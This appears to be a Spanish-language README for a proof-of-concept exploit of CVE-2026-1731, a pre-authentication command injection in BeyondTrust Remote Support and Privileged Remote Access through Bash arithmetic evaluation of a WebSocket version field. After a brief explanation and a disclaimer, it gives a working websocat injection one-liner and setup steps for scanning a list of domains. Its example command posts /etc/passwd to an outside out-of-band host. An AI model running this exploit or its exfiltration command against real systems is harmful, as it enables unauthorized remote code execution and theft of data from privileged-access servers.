
CVE-2026-1731 - Vulnerabilidad crítica de inyección de comandos en BeyondTrust Remote Support y Privileged Remote Access debido a una evaluación aritmética insegura de Bash en un script accesible mediante WebSocket.
[!WARNING] Este script está destinado únicamente a fines educativos y de investigación. No lo utilices contra sistemas sin permiso explícito. El acceso o las pruebas no autorizados son ilegales y poco éticos. Lee el DESCARGO DE RESPONSABILIDAD completo antes de usar este script.
Este script demuestra una vulnerabilidad crítica de inyección de comandos (CVE-2026-1731) que afecta a BeyondTrust Remote Support (RS) y Privileged Remote Access (PRA). El problema se origina en el mismo endpoint accesible mediante WebSocket involucrado en el anterior y conocido CVE-2024-12356, lo que lo convierte en una variante estrechamente relacionada.
La vulnerabilidad existe porque el script thin-scc-wrapper del servidor realiza comparaciones aritméticas sobre entradas controladas por el atacante, específicamente el valor remoteVersion enviado durante el handshake de WebSocket. Bash trata los operandos en comparaciones numéricas como expresiones, no como simples cadenas, lo que permite que payloads manipulados como a[$(cmd)]0 activen ejecución arbitraria de comandos durante la evaluación.
Aunque BeyondTrust añadió una comprobación de cordura numérica en este ciclo de parches, esto no impide que Bash realice la evaluación de expresiones más tarde, dejando el endpoint explotable. Los atacantes pueden obtener ejecución de código simplemente abriendo una conexión WebSocket y enviando un valor de versión malicioso antes de la autenticación.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Colócalo en la misma carpeta que tu script de Python.)
O muévelo a nivel de sistema:
sudo mv websocat /usr/local/bin/
domains.txt en el mismo directorioAñade las URLs que quieras probar:
example1.com
example2.com
example3.com
Edita la siguiente línea del script para configurar el comando que deseas que ejecute el exploit WebSocket:
CMD = "YOUR-COMMAND-HERE"
Por ejemplo:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
Una vez configurado el comando, ejecuta el script:
python3 exploit.py
O hazlo ejecutable y ejecútalo directamente:
chmod +x exploit.py
./exploit.py

